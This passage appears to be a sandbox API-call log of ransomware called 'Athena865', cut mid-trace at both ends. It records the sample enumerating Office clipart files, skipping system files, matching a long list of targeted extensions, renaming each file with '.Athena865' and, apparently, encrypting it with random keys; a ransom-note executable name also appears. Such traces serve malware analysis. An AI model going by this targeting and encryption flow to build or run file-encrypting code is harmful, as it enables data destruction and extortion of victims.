lpString2="xdb") returned -1 [0121.401] lstrlenW (lpString="xld") returned 3 [0121.401] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0121.401] lstrlenW (lpString="xmlff") returned 5 [0121.401] lstrcmpiW (lpString1="_.WMF", lpString2="xmlff") returned -1 [0121.401] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.Athena865") returned 73 [0121.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.403] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7968) returned 1 [0121.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.403] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.403] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.404] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.404] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.404] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2220, lpName=0x0) returned 0x154 [0121.406] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2220) returned 0x100000 [0121.407] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.407] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.408] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.408] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.408] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.408] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.408] CloseHandle (hObject=0x154) returned 1 [0121.409] CloseHandle (hObject=0x17c) returned 1 [0121.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.409] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.409] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2=".") returned 1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="..") returned 1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="windows") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="bootmgr") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="temp") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="pagefile.sys") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="boot") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="ids.txt") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="ntuser.dat") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="perflogs") returned -1 [0121.409] lstrcmpiW (lpString1="AN01084_.WMF", lpString2="MSBuild") returned -1 [0121.409] lstrlenW (lpString="AN01084_.WMF") returned 12 [0121.409] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01084_.WMF" | out: lpString1="AN01084_.WMF") returned="AN01084_.WMF" [0121.409] lstrlenW (lpString="AN01084_.WMF") returned 12 [0121.409] lstrlenW (lpString="Athena865") returned 9 [0121.410] lstrcmpiW (lpString1="1084_.WMF", lpString2="Athena865") returned -1 [0121.410] lstrlenW (lpString=".dll") returned 4 [0121.410] lstrcmpiW (lpString1="AN01084_.WMF", lpString2=".dll") returned 1 [0121.410] lstrlenW (lpString=".lnk") returned 4 [0121.410] lstrcmpiW (lpString1="AN01084_.WMF", lpString2=".lnk") returned 1 [0121.410] lstrlenW (lpString=".ini") returned 4 [0121.410] lstrcmpiW (lpString1="AN01084_.WMF", lpString2=".ini") returned 1 [0121.410] lstrlenW (lpString=".sys") returned 4 [0121.410] lstrcmpiW (lpString1="AN01084_.WMF", lpString2=".sys") returned 1 [0121.410] lstrlenW (lpString="AN01084_.WMF") returned 12 [0121.410] lstrlenW (lpString="bak") returned 3 [0121.410] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0121.410] lstrlenW (lpString="ba_") returned 3 [0121.410] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0121.410] lstrlenW (lpString="dbb") returned 3 [0121.410] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0121.410] lstrlenW (lpString="vmdk") returned 4 [0121.410] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0121.410] lstrlenW (lpString="rar") returned 3 [0121.410] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0121.410] lstrlenW (lpString="zip") returned 3 [0121.410] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0121.410] lstrlenW (lpString="tgz") returned 3 [0121.410] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0121.410] lstrlenW (lpString="vbox") returned 4 [0121.410] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0121.410] lstrlenW (lpString="vdi") returned 3 [0121.410] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0121.411] lstrlenW (lpString="vhd") returned 3 [0121.411] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0121.411] lstrlenW (lpString="vhdx") returned 4 [0121.411] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0121.411] lstrlenW (lpString="avhd") returned 4 [0121.411] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0121.411] lstrlenW (lpString="db") returned 2 [0121.411] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0121.411] lstrlenW (lpString="db2") returned 3 [0121.411] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0121.411] lstrlenW (lpString="db3") returned 3 [0121.411] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0121.411] lstrlenW (lpString="dbf") returned 3 [0121.411] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0121.411] lstrlenW (lpString="mdf") returned 3 [0121.411] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0121.411] lstrlenW (lpString="mdb") returned 3 [0121.411] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0121.411] lstrlenW (lpString="sql") returned 3 [0121.411] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0121.411] lstrlenW (lpString="sqlite") returned 6 [0121.411] lstrcmpiW (lpString1="4_.WMF", lpString2="sqlite") returned -1 [0121.411] lstrlenW (lpString="sqlite3") returned 7 [0121.411] lstrcmpiW (lpString1="84_.WMF", lpString2="sqlite3") returned -1 [0121.411] lstrlenW (lpString="sqlitedb") returned 8 [0121.411] lstrcmpiW (lpString1="084_.WMF", lpString2="sqlitedb") returned -1 [0121.411] lstrlenW (lpString="xml") returned 3 [0121.411] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0121.412] lstrlenW (lpString="$er") returned 3 [0121.412] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0121.412] lstrlenW (lpString="4dd") returned 3 [0121.412] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0121.412] lstrlenW (lpString="4dl") returned 3 [0121.412] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0121.412] lstrlenW (lpString="^^^") returned 3 [0121.412] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0121.412] lstrlenW (lpString="abs") returned 3 [0121.412] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0121.412] lstrlenW (lpString="abx") returned 3 [0121.412] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0121.412] lstrlenW (lpString="accdb") returned 5 [0121.412] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0121.412] lstrlenW (lpString="accdc") returned 5 [0121.412] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0121.412] lstrlenW (lpString="accde") returned 5 [0121.412] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0121.412] lstrlenW (lpString="accdr") returned 5 [0121.412] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0121.412] lstrlenW (lpString="accdt") returned 5 [0121.412] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0121.412] lstrlenW (lpString="accdw") returned 5 [0121.412] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0121.412] lstrlenW (lpString="accft") returned 5 [0121.412] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0121.412] lstrlenW (lpString="adb") returned 3 [0121.412] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.413] lstrlenW (lpString="adb") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0121.413] lstrlenW (lpString="ade") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0121.413] lstrlenW (lpString="adf") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0121.413] lstrlenW (lpString="adn") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0121.413] lstrlenW (lpString="adp") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0121.413] lstrlenW (lpString="alf") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0121.413] lstrlenW (lpString="ask") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0121.413] lstrlenW (lpString="btr") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0121.413] lstrlenW (lpString="cat") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0121.413] lstrlenW (lpString="cdb") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0121.413] lstrlenW (lpString="ckp") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0121.413] lstrlenW (lpString="cma") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0121.413] lstrlenW (lpString="cpd") returned 3 [0121.413] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0121.413] lstrlenW (lpString="dacpac") returned 6 [0121.413] lstrcmpiW (lpString1="4_.WMF", lpString2="dacpac") returned -1 [0121.413] lstrlenW (lpString="dad") returned 3 [0121.414] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0121.414] lstrlenW (lpString="dadiagrams") returned 10 [0121.414] lstrcmpiW (lpString1="01084_.WMF", lpString2="dadiagrams") returned -1 [0121.414] lstrlenW (lpString="daschema") returned 8 [0121.414] lstrcmpiW (lpString1="084_.WMF", lpString2="daschema") returned -1 [0121.414] lstrlenW (lpString="db-journal") returned 10 [0121.414] lstrcmpiW (lpString1="01084_.WMF", lpString2="db-journal") returned -1 [0121.414] lstrlenW (lpString="db-shm") returned 6 [0121.414] lstrcmpiW (lpString1="4_.WMF", lpString2="db-shm") returned -1 [0121.414] lstrlenW (lpString="db-wal") returned 6 [0121.414] lstrcmpiW (lpString1="4_.WMF", lpString2="db-wal") returned -1 [0121.414] lstrlenW (lpString="dbc") returned 3 [0121.414] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0121.414] lstrlenW (lpString="dbs") returned 3 [0121.414] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0121.414] lstrlenW (lpString="dbt") returned 3 [0121.414] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0121.414] lstrlenW (lpString="dbv") returned 3 [0121.414] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0121.414] lstrlenW (lpString="dbx") returned 3 [0121.414] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0121.414] lstrlenW (lpString="dcb") returned 3 [0121.414] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0121.414] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0121.415] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.Athena865") returned 73 [0121.415] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.416] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1832) returned 1 [0121.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.416] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.417] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.417] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.417] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa30, lpName=0x0) returned 0x154 [0121.419] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa30) returned 0x100000 [0121.419] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.420] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.420] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.420] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.421] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.421] CloseHandle (hObject=0x154) returned 1 [0121.421] CloseHandle (hObject=0x17c) returned 1 [0121.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.421] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.421] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0121.421] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.421] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.421] lstrcmpiW (lpString1="AN01173_.WMF", lpString2=".") returned 1 [0121.421] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="..") returned 1 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="windows") returned -1 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="bootmgr") returned -1 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="temp") returned -1 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="pagefile.sys") returned -1 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="boot") returned -1 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="ids.txt") returned -1 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="ntuser.dat") returned -1 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="perflogs") returned -1 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2="MSBuild") returned -1 [0121.422] lstrlenW (lpString="AN01173_.WMF") returned 12 [0121.422] lstrcpyW (in: lpString1=0x241e8ae, lpString2="AN01173_.WMF" | out: lpString1="AN01173_.WMF") returned="AN01173_.WMF" [0121.422] lstrlenW (lpString="AN01173_.WMF") returned 12 [0121.422] lstrlenW (lpString="Athena865") returned 9 [0121.422] lstrcmpiW (lpString1="1173_.WMF", lpString2="Athena865") returned -1 [0121.422] lstrlenW (lpString=".dll") returned 4 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2=".dll") returned 1 [0121.422] lstrlenW (lpString=".lnk") returned 4 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2=".lnk") returned 1 [0121.422] lstrlenW (lpString=".ini") returned 4 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2=".ini") returned 1 [0121.422] lstrlenW (lpString=".sys") returned 4 [0121.422] lstrcmpiW (lpString1="AN01173_.WMF", lpString2=".sys") returned 1 [0121.422] lstrlenW (lpString="AN01173_.WMF") returned 12 [0121.422] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.Athena865") returned 73 [0121.422] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.athena865"), dwFlags=0x1) returned 1 [0121.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0121.424] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26332) returned 1 [0121.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0121.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0121.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0121.425] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0121.425] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0121.425] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.426] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x69e0, lpName=0x0) returned 0x154 [0121.427] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x69e0) returned 0x100000 [0121.431] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0121.431] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0121.431] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0121.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0121.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0121.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0121.432] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0121.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0121.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0121.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0121.432] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0121.433] CloseHandle (hObject=0x154) returned 1 [0121.433] CloseHandle (hObject=0x17c) returned 1 [0121.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0121.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0121.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0121.433] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2=".") returned 1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="..") returned 1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="windows") returned -1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="bootmgr") returned -1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="temp") returned -1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="pagefile.sys") returned -1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="boot") returned -1 [0121.433] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="ids.txt") returned -1 [0121.434] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="ntuser.dat") returned -1 [0121.434] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="perflogs") returned -1 [0121.434] lstrcmpiW (lpString1="AN01174_.WMF", lpString2="MSBuild") returned -1 